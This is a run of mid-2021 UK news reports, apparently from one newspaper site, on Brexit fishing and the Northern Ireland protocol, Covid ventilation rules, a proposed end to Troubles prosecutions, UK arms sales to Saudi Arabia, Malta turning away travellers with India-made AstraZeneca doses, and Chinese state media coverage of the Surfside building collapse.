Boris Johnson almost completely folded on fishing during Brexit talks, ditching many UK red lines that had been in place since the start of talks in order to avoid a no-deal.

Quota shares were only moderately adjusted to favour UK vessels, and no coastal exclusion zone was established, despite promises to the industry.

The limited nature of the trade agreement between the UK and EU compared to membership of the single market and customs union has also had a devastating impact on some British fish exporters, especially those of shellfish.

A Defra spokesperson said: The UK and the EU have agreed an historic Fisheries Framework Agreement that reflects the UKs new status as an independent coastal state, and works to protect and promote the rights of fishermen across the UK.

The Agreement provides for a significant uplift in quota for UK fishermen, equal to 25% of the value of the average annual EU catch from UK waters and will be phased in over five years; with the majority of this value being transferred in the first year.

Now that we have left the Common Fisheries Policy, all vessels, regardless of nationality, may only fish in UK waters if they have a valid licence and abide by UK rules.
David Frost says he understands why businesses are abandoning trade with Northern Ireland because his Brexit agreement has made it too much trouble to carry on.

The negotiator of the deal  which created a border in the Irish Sea  admitted he had not fully foreseen the chilling effect of the punishing new red tape, which has left smaller firms facing higher costs.

There are companies in Great Britain who decide that its all too much trouble, reasonably enough  cant be bothered to engage with the process, Lord Frost acknowledged.

They are often SMEs [small and medium-sized enterprises] and micro-businesses. Dealing with this is a significant call on their time and they decide its just not worth it, he told a parliamentary inquiry.

Thats why you are seeing some of the trade diversion and supply-chain issues to Northern Ireland that were seeing.

The admission came ahead of Lord Frost unveiling a new approach to the Northern Ireland protocol next week, sparking fresh tensions with the EU.

The government insists that the recent three-month truce over the sale of chilled meats and availability of medicines has failed to solve the crisis caused by the protocol.

To find out what others are saying and join the conversation scroll down for the comments section or click here for our most commented on articles

Brussels has been accused of intransigence in the ongoing talks and of a lack of understanding of the sensitivities in Northern Ireland.

Questioned by a Lords committee, Lord Frost refused to set out what his new approach might entail  beyond the aim to make goods flow as freely as possibly between Great Britain and Northern Ireland.

The Brexit minister also:

* Claimed that increased cross-border trade between Northern Ireland and the Republic of Ireland is a problem he wanted to discourage.

* Revealed he expected 500m to be spent on trader support services, saying: That is the cost of the protocol.

* Rejected the EUs insistence that there is no alternative to the protocol, pointing to a future consent vote at Stormont, and asking: Then what is that vote about?

* Argued it would be inconceivable to press ahead with protocol-style arrangements after a no vote, warning: The politics would be quite significant at that point.

The comments came as the fishing industry accused Tory MPs who had hyped the potential gains from Brexit of going very quiet as those benefits failed to materialise.

The National Federation of Fishermans Organisations protested that nothing was now heard from even the most vociferous supporters on the Conservative benches.

Peter Hain, the Labour former Northern Ireland secretary, warned that Lord Frost had lost the trust of unionists, nationalists, the EU and the Dublin government, saying sarcastically: Thats a pretty successful negotiation, isnt it?

The EU accuses the UK of failing to abide by the protocol  by introducing checks at Northern Irish ports and by supplying data on cross-sea trade  but London blames an over-zealous implementation.
The government is advising businesses to use CO2 monitoring equipment to check whether indoor spaces are sufficiently ventilated to stop the spread of Covid-19 in them.

Ahead of a further reopening of the economy next week ministers want offices, shops, pubs, and restaurants to identify poorly-ventilated spaces as part of their risk assessments and take steps to fix them or close them off.

In a change of emphasis, advice which previously stressed social distancing and masks, has been amended so that ventilation is now "the priority" for risk assessments.

The new approach may impose extra costs of some businesses, some of whom have already spent significant sums Covid-proofing their premises in line with the old rules.

But an evolving understanding of the way the virus spreads  predominantly through aerosol  has prompted a change in approach.

"A CO2 monitor could help you assess whether a space is poorly ventilated. If you cant improve ventilation in poorly ventilated spaces, minimise use of these spaces," the governments new advice, published on Wednesday, says.

"People exhale carbon dioxide (CO2) when they breathe out. If there is a build-up of CO2 in an area it can indicate that ventilation needs improving.

"Although CO2 levels are not a direct measure of possible exposure to COVID-19, checking levels using a monitor can help you identify poorly ventilated areas."

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 16 July 2021 The sun rises behind the Sefton Park Palm House, in Sefton Park, Liverpool PA UK news in pictures 15 July 2021 Sir Nicholas Serota watches a short film about sea monsters as he opens a 7.6 million, 360 immersive dome at Devonport's Market Hall in Plymouth, which is the first of its type to be built in Europe PA UK news in pictures 14 July 2021 Heidi Street, playing a gothic character, looks at a brain suspended in glass at the worlds first attraction dedicated to the author of Frankenstein inside the Mary Shelleys House of Frankenstein experience, located in a Georgian terraced house in Bath, as it prepares to open to the public on 19 July PA UK news in pictures 13 July 2021 Rehearsals are held in a car park in Glasgow for a parade scene ahead of filming for what is thought to be the new Indiana Jones 5 movie starring Harrison Ford PA UK news in pictures 12 July 2021 A local resident puts love hearts and slogans on the plastic that covers offensive graffiti on the vandalised mural of Manchester United striker and England player Marcus Rashford on the wall of a cafe on Copson Street, Withington in Manchester Getty Images UK news in pictures 11 July 2021 England's Bukayo Saka with manager Gareth Southgate after the match Pool via Reuters UK news in pictures 10 July 2021 Australias Ashleigh Barty holds the trophy after winning her final Wimbledon match against Czech Republics Karolina Pliskova Reuters UK news in pictures 9 July 2021 England 1966 World Cup winner Sir Geoff Hurst stands on top of a pod on the lastminute.com London Eye wearing a replica 1966 World Cup final kit and looking out towards Wembley Stadium in the north of the capital, where the England football team will play Italy in the Euro 2020 final on Sunday PA UK news in pictures 8 July 2021 Karolina Pliskova celebrates after defeating Aryna Sabalenka during the women's singles semifinals match on day ten of the Wimbledon Tennis Championships in London AP UK news in pictures 7 July 2021 The residents of Towfield Court in Feltham have transformed their estate with England flags for the Euro 2020 tournament PA UK news in pictures 6 July 2021 A couple are hit by a wave as they walk along the promenade in Dover, Kent, during strong winds PA UK news in pictures 5 July 2021 Alexander Zverev playing against Felix Auger-Aliassime in the fourth round of the Gentlemen's Singles on Court 1 on day seven of Wimbledon at The All England Lawn Tennis and Croquet Club PA UK news in pictures 4 July 2021 Aaron Carty and the Beyonce Experience perform on stage during UK Black Pride at The Roundhouse in London Getty for UK Black Pride UK news in pictures 3 July 2021 Englands Jordan Henderson celebrates after scoring his first international goal, his sides fourth against Ukraine during the Euro 2020 quarter final match at the Olympic stadium in Rome AP UK news in pictures 2 July 2021 Dan Evans serves against Sebastian Korda during their mens singles third round match at Wimbledon Getty UK news in pictures 1 July 2021 Prince William, left and Prince Harry unveil a statue they commissioned of their mother Princess Diana, on what would have been her 60th birthday, in the Sunken Garden at Kensington Palace, London AP UK news in pictures 30 June 2021 Dancers from the Billingham Festival and Balbir Singh Dance Company, during a preview for the The Two Fridas, UK Summer tour, presented by Billingham International Folklore Festival of World Dance in collaboration with Balbir Singh Dance Company, inspired by the life and times of female artists Frida Kahlo and Amrita Sher-Gil , which opens on July 10 at Ushaw Historic House, Chapel and Gardens in Durham PA UK news in pictures 29 June 2021 A boy kicks a soccer ball in front of the balconies and landings adorned with predominantly England flags at the Kirby housing estate in London AP UK news in pictures 28 June 2021 Emergency services attend a fire nearby the Elephant & Castle Rail Station in London Getty UK news in pictures 27 June 2021 People walk along Regent Street in central London during a #FreedomToDance march organised by Save Our Scene, in protest against the governments perceived disregard for the live music industry throughout the coronavirus pandemic PA UK news in pictures 26 June 2021 A pair of marchers in a Trans Pride rally share a smile in Soho Angela Christofilou/The Independent UK news in pictures 25 June 2021 Tim Duckworth during the Long Jump in the decathlon during day one of the Muller British Athletics Championships at Manchester Regional Arena PA UK news in pictures 24 June 2021 A member of staff poses with the work 'The Death of Cash' by XCopy at the 'CryptOGs: The Pioneers of NFT Art' auction at Bonhams auction house in London EPA UK news in pictures 23 June 2021 Bank of England Chief Cashier Sarah John displays the new 50-pound banknote at Daunt Books in London Bank of England via Reuters UK news in pictures 22 June 2021 Actor Isaac Hampstead Wright sits on the newly unveiled Game of Throne's "Iron Throne" statue, in Leicester Square, in London, Tuesday, June 22, 2021. The statue is the tenth to join the trail and commemorates 10 years since the TV show first aired, as well as in anticipation for HBO's release of House of the Dragon set to be released in 2022 AP UK news in pictures 21 June 2021 Scotland's First Minister Nicola Sturgeon receives her second dose of the Oxford/AstraZeneca Covid-19 vaccine AFP/Getty UK news in pictures 20 June 2021 Joyce Paton, from Peterhead, on one of the remaining snow patches on Meall aBhuiridh in Glencoe during the Midsummer Ski. The event, organised by the Glencoe Mountain Resort, is held every year on the weekend closest to the Summer Solstice PA UK news in pictures 19 June 2021 England appeal LBW during day four of their Womens International Test match against India at the Bristol County Ground PA UK news in pictures 18 June 2021 Scotland fans let off flares in Leicester Square after Scotland's Euro 2020 match against England ended in a 0-0 draw Getty UK news in pictures 17 June 2021 Members of the Tootsie Rollers jazz band pose on the third day of the Royal Ascot horse racing meet AFP/Getty UK news in pictures 16 June 2021 A woman and child examine life-size sculptures of a herd of Asian elephants set up by the Elephant Family and The Real Elephant Collective to help educate the public on the elephants and the ways in which humans can better protect the planets biodiversity, in Green Park, central London AFP/Getty UK news in pictures 15 June 2021 Hydrotherapists with Dixie, a seven-year-old Dachshund who is being treated for back problems common with the breed, in the hydrotherapy pool during a facility at Battersea Dogs and Cats Home's in Battersea, London, to view their new hydrotherapy centre PA UK news in pictures 14 June 2021 Scotland's David Marshall in the net after Czech Republic's Patrik Schick scored their second goal at Hampden Park Reuters UK news in pictures 13 June 2021 Raheem Sterling celebrates with Harry Kane after scoring Englands first goal of the Euro 2021 tournament in a match against Croatia at Wembley Reuters UK news in pictures 12 June 2021 Oxfam campaigners wearing costumes depicting G7 leaders pose for photographers on Swanpool Beach near Falmouth, Cornwall EPA UK news in pictures 11 June 2021 Members of the Vaxinol team, who are commercial, industrial and residential cleaners specialising in disinfection and decontamination, use electrostatic spray systems to deep clean the Only Fools Bar in Liverpool PA UK news in pictures 10 June 2021 A woman walks her dogs as the incoming tide begins to wash away the heads of G7 leaders drawn in the sand by activists on the beach at Newquay, Cornwall AP UK news in pictures 9 June 2021 Adam Chamberlain, 45, general manager of Big Tree pub in Sheffield, has put up over 500 flags, taking 36 hours, in preparation for Euro 2020, which kicks off this weekend Tom Maddick / SWNS UK news in pictures 8 June 2021 REUTERS UK news in pictures 7 June 2021 A pedestrian wearing a face covering walks over Westminster Bridge near the Houses of Parliament in central London AFP/Getty UK news in pictures 6 June 2021 Isobel Salamon, founder of the Edinburgh Cinema Club, poses alongside the Leith Trainspotting murals in Quality Yard, Leith, Edinburgh, for the programme launch of the Cinescapes Festival which starts on July 4 with a Trainspotting 1 and 2 double bill PA UK news in pictures 5 June 2021 A long exposure photograph captures the rotation of the earth as the stars blur into circles over Knowlton church ruins in Dorset Nick Lucas/SWNS UK news in pictures 4 June 2021 Balloonists take flight during the opening of the Midlands Air Festival in Alcester, Warwickshire PA UK news in pictures 3 June 2021 Members of the Household Cavalry during the Major General's annual inspection of the Household Cavalry Mounted Regiment in Hyde Park, London PA UK news in pictures 2 June 2021 Hannah Vitos of the Blenheim Art Foundation, poses for a photograph next to artist Ai Weiwei's Gilded Cage (2017) sculpture in the grounds of Blenheim Palace in Woodstock, Britain Reuters UK news in pictures 1 June 2021 People swim in the Sky Pool, a transparent swimming pool bridge across two exclusive residential blocks standing next to the US Embassy in Nine Elms, in London, Tuesday, June 1, 2021 AP UK news in pictures 31 May 2021 People enjoy the hot weather at Brighton beach Reuters UK news in pictures 30 May 2021 People venture into the sea as they enjoy themselves during a hot day on Brighton Beach AP UK news in pictures 29 May 2021 Swimmers at the Stonehaven Open Air Pool in Aberdeenshire, which reopens after lockdown restrictions were eased PA UK news in pictures 28 May 2021 Britain's Prime Minister Boris Johnson gestures as he meets Hungary's Prime Minister Viktor Orban at Downing Street in London REUTERS

Advice for fixing a poorly-ventilated space includes opening windows, doors, and improving air ducts and mechanical ventilation.

The use of any space found to have poor ventilation that cannot be fixed should be minimised, the guidelines warn  in a move that could see restaurant backrooms and snug bars closed off.

The government says local councils and the Health and Safety Executive (HSE) will enforce the new rules with nationwide checks, and that businesses could be prosecuted for "significant" breaches.

TUC General Secretary Frances OGrady said the new guidelines were "a recipe for chaos and rising infections".

They have been published without proper consultation with unions or employers, just two full working days before restrictions end on Monday," she said.

Instead of providing clear and consistent guidance on how to keep staff safe at work, the government is abandoning workers and employers.

As infection rates surge, every employer must by law carry out a thorough risk assessment and take action to keep their workers safe.

But these inadequate guidelines will leave many employers with more questions than answers and worried about their liability if they get things wrong.

On Monday Boris Johnson urged the country to adopt "extreme caution" as the final lockdown restrictions are lifted on 19 July.

The Prime Minister called on companies to stagger their transition back to office work throughout the summer, but is removing the remaining legal restrictions on personal activity.
The UK government intends to introduce a statute of limitations which would end all prosecutions in Troubles-related cases, Northern Ireland secretary Brandon Lewis confirmed.

The cabinet minister promised a new independent body to help families find out what happened to loved ones in killings and other legacy cases involving ex-paramilitaries and former members of the security forces.

We know the prospect of the end of criminal prosecutions will be difficult for some to accept, and this is not a position we take lightly, Mr Lewis told MPs on Wednesday.

The cabinet minister added: Weve come to the view that this is  the best way to move Northern Ireland further along the road to reconciliation.

Victims families shared their outrage over the move, while Labour leader Sir Keir Starmer said it was plain wrong for the government to offer a blanket amnesty for crimes committed during the Troubles era.

Ive also prosecuted terrorists as the Director of Public Prosecutions, so I know how difficult and how sensitive this is. But a blanket amnesty, including for terrorists, is plain wrong, said Sir Keir.

Labour accused the government of putting party political interests before the country. Shadow Northern Ireland secretary Louise Haigh said it would be foolish and unsustainable to push legislation through without support from any political party in the province.

Ms Haigh told the Commons: Many have greeted todays proposals with deep scepticism and wonder if it is more an exercise in shoring up narrow party support than it is in delivering the reconciliation communities in Northern Ireland crave.

Promising to introduce legislation by the end of this autumn, Mr Lewis said it would include proposals for a new independent body to focus on the recovery of information about Troubles-related deaths.

But bereaved relatives who lost loved ones during the three decades of violence were united in outrage against a proposed statute of limitations on legacy prosecutions.

Michael OHare, whose 12-year-old sister Majella was shot by a British soldier in 1976, said the legacy proposals set out by Brandon Lewis were an utter and unacceptable betrayal.

Julie Hambleton, whose sister Maxine was one of 21 people killed in IRA bombings of pubs in Birmingham in 1974, said: Tell me, prime minister, if one of your loved ones was blown up beyond recognition  would you be so quick to agree to such obscene legislation being implemented?

(From left) Eileen McKeown, Mary Corr and Irene Connolly, family members of Ballymurphy massacre victims, watch the Lewis statement at Springhill Community House in Belfast (PA)

Families of the 10 people killed by soldiers in the Ballymurphy area of west Belfast in 1971 came together to watch Mr Lewiss statement to the Commons.

Eileen McKeown, daughter of Joseph Corr who was killed in Ballymurphy, said ending prosecutions was a cynical attempt to bring an amnesty and a plan to bury its war crimes.

Mark Thompson, whose brother Peter was shot dead by British soldiers in Belfast in 1990, called for the legal rights of all victims to the conflict, irrespective of their background to be upheld.

Mr Thompson, founder of the Relatives for Justice group, said: The truth is the British state has benefited from de facto impunity to date and has never faced the rigour of the law.

DUP leader Sir Jeffrey Donaldson said the plan to introduce a statute of limitations for Troubles-related offences would be rejected by everyone in Northern Ireland.

The Northern Ireland secretary insisted criminal investigations had proved damaging. Its clear the current system for dealing with the legacy of the Troubles is not working, Mr Lewis said.

Its now a difficult, in fact painful, truth that the focus on criminal investigations is increasingly unlikely to deliver successful criminal justice outcomes, but all the while it continues to divide communities and it fails to obtain answers for a majority of victims and families.

Claiming the government wanted to see truth and reconciliation in Northern Ireland, Mr Lewis suggested that ending prosecutions would encourage more people to come forward with information.

The Republic of Irelands foreign minister Simon Coveney said Dublin would oppose any unilateral move to end all Troubles-era prosecutions.

Mr Coveney said the UK government plan was not a fait accompli, promising he would push for inclusive dialogue to try to agree consensus.
Britain has exported around three times as much weaponry and military equipment to fuel Saudi Arabia's war in Yemen than previously thought, according to a groundbreaking new investigation.

The governments official figures say ministers signed off 6.7 billion worth of arms sales to the autocracy such a bombs, missiles, and aircraft since the country started its bombardment of neighbouring Yemen in 2015.

But researchers drilling deeper into official records and those of arms manufacturers say the true figure is likely to be closer to 20 billion because the official numbers do not include sales conducted under an opaque "open licence" system.

The UK government boasts about having "one of the most robust and transparent export control regimes in the world" and publishes the value of arms exports approved under standard licences. It also details what kind of weapons were sold and who they were allowed to be sold to.

But the government also operates a parallel, less transparent "open licence" system which give a more open-ended green light to manufacturers to sell specific armaments to a specific country without a monetary limit.

Between 2014 and August 2019 the UK operated an open licence for bombs and air-to-surface missiles to Saudi Arabia, for a type repeatedly used in the war in Yemen.

Separately, equipment and components for use in the Eurofighter Typhoon aircraft, also used in the same bombardment, have been covered by an open licence.

The researchers also looked at the accounts of companies known to be selling arms to Saudi Arabia and found that the revenues to one company alone  BAE Systems  originating from the Saudi Ministry of Defence & Aviation, totalled nearly 17 billion over the relevant period.

As a result they estimate that the real value of exports is close to 20 billion.

"The use of open licences also offers the government a convenient sleight of hand when it comes under pressure over arms sales to a particular country due to events such as wars, military coups, or well-publicised human rights abuses," the report warns.

The Department for International Trade, which signs off all arms exports, did not dispute the findings of the study but said the UK "takes its export control responsibilities very seriously".

Katie Fallon of Campaign Against Arms Trade, which conducted the research, said: "The use of Open Licences covers up the real extent of the UK arms trade and makes it impossible to know what quantities of weapons are being sold around the world.

"UK-made fighter jets, bombs and missiles have had a devastating impact in the ongoing bombardment of Yemen. The fact that the real total of these sales could be so much higher than previously reported emphasises the central role that the UK government and UK-based companies have played in the war. There must be full transparency about what arms have gone over and in what quantity.

"So much of the arms industry takes place in secret, and thats how the arms dealers like it. As long as the widespread use of Open Licences continues, the true nature and volume of the UK arms trade will remain hidden from scrutiny, and therefore from meaningful control."

The government was told by the Court of Appeal in June 2019 to stop sales to Saudi Arabia, after a judge said ministers had made no concluded assessments of whether the Saudi-led coalition had committed violations of international humanitarian law in the past, during the Yemen conflict, and made no attempt to do so.

Thousands of civilians have been killed in Yemen and the country, with the situation in the country reduced to a humanitarian disaster. Saudi Arabia says it is intervening on behalf of the internationally recognised government of Yemen, which has not controlled the country's capital nor most of its territory for some years. Targets reportedly hit by the airstrikes include schools, hospitals, weddings, and food factories.

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 16 July 2021 The sun rises behind the Sefton Park Palm House, in Sefton Park, Liverpool PA UK news in pictures 15 July 2021 Sir Nicholas Serota watches a short film about sea monsters as he opens a 7.6 million, 360 immersive dome at Devonport's Market Hall in Plymouth, which is the first of its type to be built in Europe PA UK news in pictures 14 July 2021 Heidi Street, playing a gothic character, looks at a brain suspended in glass at the worlds first attraction dedicated to the author of Frankenstein inside the Mary Shelleys House of Frankenstein experience, located in a Georgian terraced house in Bath, as it prepares to open to the public on 19 July PA UK news in pictures 13 July 2021 Rehearsals are held in a car park in Glasgow for a parade scene ahead of filming for what is thought to be the new Indiana Jones 5 movie starring Harrison Ford PA UK news in pictures 12 July 2021 A local resident puts love hearts and slogans on the plastic that covers offensive graffiti on the vandalised mural of Manchester United striker and England player Marcus Rashford on the wall of a cafe on Copson Street, Withington in Manchester Getty Images UK news in pictures 11 July 2021 England's Bukayo Saka with manager Gareth Southgate after the match Pool via Reuters UK news in pictures 10 July 2021 Australias Ashleigh Barty holds the trophy after winning her final Wimbledon match against Czech Republics Karolina Pliskova Reuters UK news in pictures 9 July 2021 England 1966 World Cup winner Sir Geoff Hurst stands on top of a pod on the lastminute.com London Eye wearing a replica 1966 World Cup final kit and looking out towards Wembley Stadium in the north of the capital, where the England football team will play Italy in the Euro 2020 final on Sunday PA UK news in pictures 8 July 2021 Karolina Pliskova celebrates after defeating Aryna Sabalenka during the women's singles semifinals match on day ten of the Wimbledon Tennis Championships in London AP UK news in pictures 7 July 2021 The residents of Towfield Court in Feltham have transformed their estate with England flags for the Euro 2020 tournament PA UK news in pictures 6 July 2021 A couple are hit by a wave as they walk along the promenade in Dover, Kent, during strong winds PA UK news in pictures 5 July 2021 Alexander Zverev playing against Felix Auger-Aliassime in the fourth round of the Gentlemen's Singles on Court 1 on day seven of Wimbledon at The All England Lawn Tennis and Croquet Club PA UK news in pictures 4 July 2021 Aaron Carty and the Beyonce Experience perform on stage during UK Black Pride at The Roundhouse in London Getty for UK Black Pride UK news in pictures 3 July 2021 Englands Jordan Henderson celebrates after scoring his first international goal, his sides fourth against Ukraine during the Euro 2020 quarter final match at the Olympic stadium in Rome AP UK news in pictures 2 July 2021 Dan Evans serves against Sebastian Korda during their mens singles third round match at Wimbledon Getty UK news in pictures 1 July 2021 Prince William, left and Prince Harry unveil a statue they commissioned of their mother Princess Diana, on what would have been her 60th birthday, in the Sunken Garden at Kensington Palace, London AP UK news in pictures 30 June 2021 Dancers from the Billingham Festival and Balbir Singh Dance Company, during a preview for the The Two Fridas, UK Summer tour, presented by Billingham International Folklore Festival of World Dance in collaboration with Balbir Singh Dance Company, inspired by the life and times of female artists Frida Kahlo and Amrita Sher-Gil , which opens on July 10 at Ushaw Historic House, Chapel and Gardens in Durham PA UK news in pictures 29 June 2021 A boy kicks a soccer ball in front of the balconies and landings adorned with predominantly England flags at the Kirby housing estate in London AP UK news in pictures 28 June 2021 Emergency services attend a fire nearby the Elephant & Castle Rail Station in London Getty UK news in pictures 27 June 2021 People walk along Regent Street in central London during a #FreedomToDance march organised by Save Our Scene, in protest against the governments perceived disregard for the live music industry throughout the coronavirus pandemic PA UK news in pictures 26 June 2021 A pair of marchers in a Trans Pride rally share a smile in Soho Angela Christofilou/The Independent UK news in pictures 25 June 2021 Tim Duckworth during the Long Jump in the decathlon during day one of the Muller British Athletics Championships at Manchester Regional Arena PA UK news in pictures 24 June 2021 A member of staff poses with the work 'The Death of Cash' by XCopy at the 'CryptOGs: The Pioneers of NFT Art' auction at Bonhams auction house in London EPA UK news in pictures 23 June 2021 Bank of England Chief Cashier Sarah John displays the new 50-pound banknote at Daunt Books in London Bank of England via Reuters UK news in pictures 22 June 2021 Actor Isaac Hampstead Wright sits on the newly unveiled Game of Throne's "Iron Throne" statue, in Leicester Square, in London, Tuesday, June 22, 2021. The statue is the tenth to join the trail and commemorates 10 years since the TV show first aired, as well as in anticipation for HBO's release of House of the Dragon set to be released in 2022 AP UK news in pictures 21 June 2021 Scotland's First Minister Nicola Sturgeon receives her second dose of the Oxford/AstraZeneca Covid-19 vaccine AFP/Getty UK news in pictures 20 June 2021 Joyce Paton, from Peterhead, on one of the remaining snow patches on Meall aBhuiridh in Glencoe during the Midsummer Ski. The event, organised by the Glencoe Mountain Resort, is held every year on the weekend closest to the Summer Solstice PA UK news in pictures 19 June 2021 England appeal LBW during day four of their Womens International Test match against India at the Bristol County Ground PA UK news in pictures 18 June 2021 Scotland fans let off flares in Leicester Square after Scotland's Euro 2020 match against England ended in a 0-0 draw Getty UK news in pictures 17 June 2021 Members of the Tootsie Rollers jazz band pose on the third day of the Royal Ascot horse racing meet AFP/Getty UK news in pictures 16 June 2021 A woman and child examine life-size sculptures of a herd of Asian elephants set up by the Elephant Family and The Real Elephant Collective to help educate the public on the elephants and the ways in which humans can better protect the planets biodiversity, in Green Park, central London AFP/Getty UK news in pictures 15 June 2021 Hydrotherapists with Dixie, a seven-year-old Dachshund who is being treated for back problems common with the breed, in the hydrotherapy pool during a facility at Battersea Dogs and Cats Home's in Battersea, London, to view their new hydrotherapy centre PA UK news in pictures 14 June 2021 Scotland's David Marshall in the net after Czech Republic's Patrik Schick scored their second goal at Hampden Park Reuters UK news in pictures 13 June 2021 Raheem Sterling celebrates with Harry Kane after scoring Englands first goal of the Euro 2021 tournament in a match against Croatia at Wembley Reuters UK news in pictures 12 June 2021 Oxfam campaigners wearing costumes depicting G7 leaders pose for photographers on Swanpool Beach near Falmouth, Cornwall EPA UK news in pictures 11 June 2021 Members of the Vaxinol team, who are commercial, industrial and residential cleaners specialising in disinfection and decontamination, use electrostatic spray systems to deep clean the Only Fools Bar in Liverpool PA UK news in pictures 10 June 2021 A woman walks her dogs as the incoming tide begins to wash away the heads of G7 leaders drawn in the sand by activists on the beach at Newquay, Cornwall AP UK news in pictures 9 June 2021 Adam Chamberlain, 45, general manager of Big Tree pub in Sheffield, has put up over 500 flags, taking 36 hours, in preparation for Euro 2020, which kicks off this weekend Tom Maddick / SWNS UK news in pictures 8 June 2021 REUTERS UK news in pictures 7 June 2021 A pedestrian wearing a face covering walks over Westminster Bridge near the Houses of Parliament in central London AFP/Getty UK news in pictures 6 June 2021 Isobel Salamon, founder of the Edinburgh Cinema Club, poses alongside the Leith Trainspotting murals in Quality Yard, Leith, Edinburgh, for the programme launch of the Cinescapes Festival which starts on July 4 with a Trainspotting 1 and 2 double bill PA UK news in pictures 5 June 2021 A long exposure photograph captures the rotation of the earth as the stars blur into circles over Knowlton church ruins in Dorset Nick Lucas/SWNS UK news in pictures 4 June 2021 Balloonists take flight during the opening of the Midlands Air Festival in Alcester, Warwickshire PA UK news in pictures 3 June 2021 Members of the Household Cavalry during the Major General's annual inspection of the Household Cavalry Mounted Regiment in Hyde Park, London PA UK news in pictures 2 June 2021 Hannah Vitos of the Blenheim Art Foundation, poses for a photograph next to artist Ai Weiwei's Gilded Cage (2017) sculpture in the grounds of Blenheim Palace in Woodstock, Britain Reuters UK news in pictures 1 June 2021 People swim in the Sky Pool, a transparent swimming pool bridge across two exclusive residential blocks standing next to the US Embassy in Nine Elms, in London, Tuesday, June 1, 2021 AP UK news in pictures 31 May 2021 People enjoy the hot weather at Brighton beach Reuters UK news in pictures 30 May 2021 People venture into the sea as they enjoy themselves during a hot day on Brighton Beach AP UK news in pictures 29 May 2021 Swimmers at the Stonehaven Open Air Pool in Aberdeenshire, which reopens after lockdown restrictions were eased PA UK news in pictures 28 May 2021 Britain's Prime Minister Boris Johnson gestures as he meets Hungary's Prime Minister Viktor Orban at Downing Street in London REUTERS

Trade secretary Liz Truss resumed arms exports to the country in July 2020 after a Department for International Trade analysis found that there was evidence that Saudi Arabian was committing war crimes. Ms Truss however reasoned that the analysis pointed to the war crimes being "isolated incidents" because they had been of such a variety.

Human rights groups including Amnesty International branded the decision "deeply cynical".

Asked about the new research, a Department for International Trade spokesperson said: The UK takes its export control responsibilities very seriously and operates one of the most robust and transparent export control regimes in the world.

"We rigorously examine each export licence application on a case-by-case basis against the Consolidated EU and National Arms Export Licensing Criteria.

We will not issue any export licences where to do so would be inconsistent with these criteria.
British travellers given an Indian-made dose of the Oxford AstraZeneca Covid vaccine are reportedly being barred from entering Malta.

So-called Covishield batches of the AZ jab, made by the Serum Institute of India, have yet to be approved by the European Medicines Agency (EMA)  despite being chemically identical to UK-made matches  and are therefore not required to be recognised by the EU.

Fifteen countries, including Spain and Germany, have said they will accept the India-made doses, up to five million of which have been administered in the UK.

But Malta is refusing entry, as reported by The Daily Telegraph, despite being on the green list of UK-approved destinations.

Malta Tourism Authority guidance states that anyone with an India-made dose  identified by batch numbers 4120Z001, 4120Z002 and 4120Z003  will not be allowed entry.

Batch numbers are visible on the NHS Covid app, which is used as a certificate or vaccine passport.

Steve and Glenda Hardy, 64 and 63, were preparing to head to the island to see their son for the first time in over a year when they were turned back at Manchester Airport at 3.30am on Friday.

The couple had received the vaccine in March and were stopped by staff on behalf of airline Tui.

Mr Hardy told the newspaper: When we took our vaccine  we had a vaccine  we were asked to take them. We took both doses. We didnt know what we were getting.

We trusted the Government on that. Boris Johnson said that there were no Indian vaccines issued in this country. Thats obviously a lie because its on our page.

The problem is the fact that we cant see our son. We jumped through the hoops... and then we were hit with this. It was just devastating... what the hell are we supposed to do?

When asked earlier this month about the potential issue with acceptance of India-made doses of the AZ vaccine, Boris Johnson waved away concerns.

He told reporters: Im very confident that that will not prove to be a problem.
For three weeks, the world has watched the painstaking rescue effort in Surfside, Florida, after a beachfront condominium collapsed, leaving 95 dead and 14 missing as of Tuesday. Few countries have followed the story as closely as China, where the topic has trended for multiple days on the microblogging site Weibo.

State-run news agencies have provided wall-to-wall coverage of the collapse halfway across the world, with daily updates on the death toll and multiple editorials deriding the US governments sluggish response. A hashtag started by Chinese news broadcasters saying that American citizens were losing faith in an American-style rescue effort garnered over 21 million views on Weibo. On Sunday, Chinas Foreign Ministry spokeswoman Hua Chunying fired off a tweet on the condo collapse  her third in a week  noting that a cat named Binx was rescued from the rubble in Surfside.

What about the 100+ lost lives? she wrote. Its really hard for #Chinese to understand this kind of #US #humanrights.

When, on Monday, a hotel in the Chinese city of Suzhou abruptly collapsed, killing at least 17 people, some Chinese users were quick to point out the irony online, citing other recent safety lapses in the country. But pro-government leaders and the party faithful doubled down, comparing the efficiency of the American and Chinese rescue efforts.

Ryan Hass, a senior fellow at the Brookings Institution specialising in China, said he has been taken aback by how insensitive top Chinese officials have been in their remarks on the Surfside disaster. After the 11 September 2001 terrorist attacks and Hurricane Katrina in 2005, Chinese leaders were among the first to offer condolences to the United States, he said. The reaction from Hua and others, he added, appears to reflect the countrys broader transition to a more aggressive foreign policy.

There was a certain camaraderie, a certain humanitarian instinct that used to inform both countries diplomacy, Mr Hass said. Its really striking to think about how far weve traveled from those moments into this one.

One Weibo user lamented the hostilities: Im speechless  In this world, are we only left with power politics between major countries?

Within China, coverage of the Surfside collapse has largely eclipsed news of other local disasters.

In June, a gas pipeline explosion in a Hubei market killed 25 people and injured more than 100. Three days later, a seven-story building collapsed in Hunan province, leaving five people dead. On 25 June, a day after the Surfside disaster, a fire tore through a martial arts school in Henan province, killing 18 students  most of them children.

These incidents were heavily censored on Chinese social media platforms amid calls from President Xi Jinping to maintain political stability in the lead-up to the Chinese Communist Partys 100th anniversary celebrations in early July. The Henan fire didnt make the front page of the provincial Henan Daily newspaper or break the top 50 topics discussed on Weibo.

Hu Xijin, editor of the state-run Global Times, said in an editorial on the Surfside collapse that the US rescue capability with emergency situations is much worse than people think. Mr Hu, who has sparred with Marco Rubio, Floridas Republican Senator, acknowledged the Henan fire but said that unlike the United States, China has a resolute attitude to hold those who are responsible to account. Four municipal leaders in Henan, he added, had already been removed from their positions.

When part of the Siji Kaiyuan hotel in Suzhou collapsed, Mr Hu said on Weibo that at least the Chinese rescue effort was efficient, unlike the unacceptably sluggish response in Florida. As images of Chinese rescuers in orange jumpsuits flooded the nightly news, others on social media echoed his view.

Based on Chinas rescue efficiency, the situation will be cleaned up soon, and there will be no archaeological rescue jokes like in Miami, wrote one blogger with a million followers.

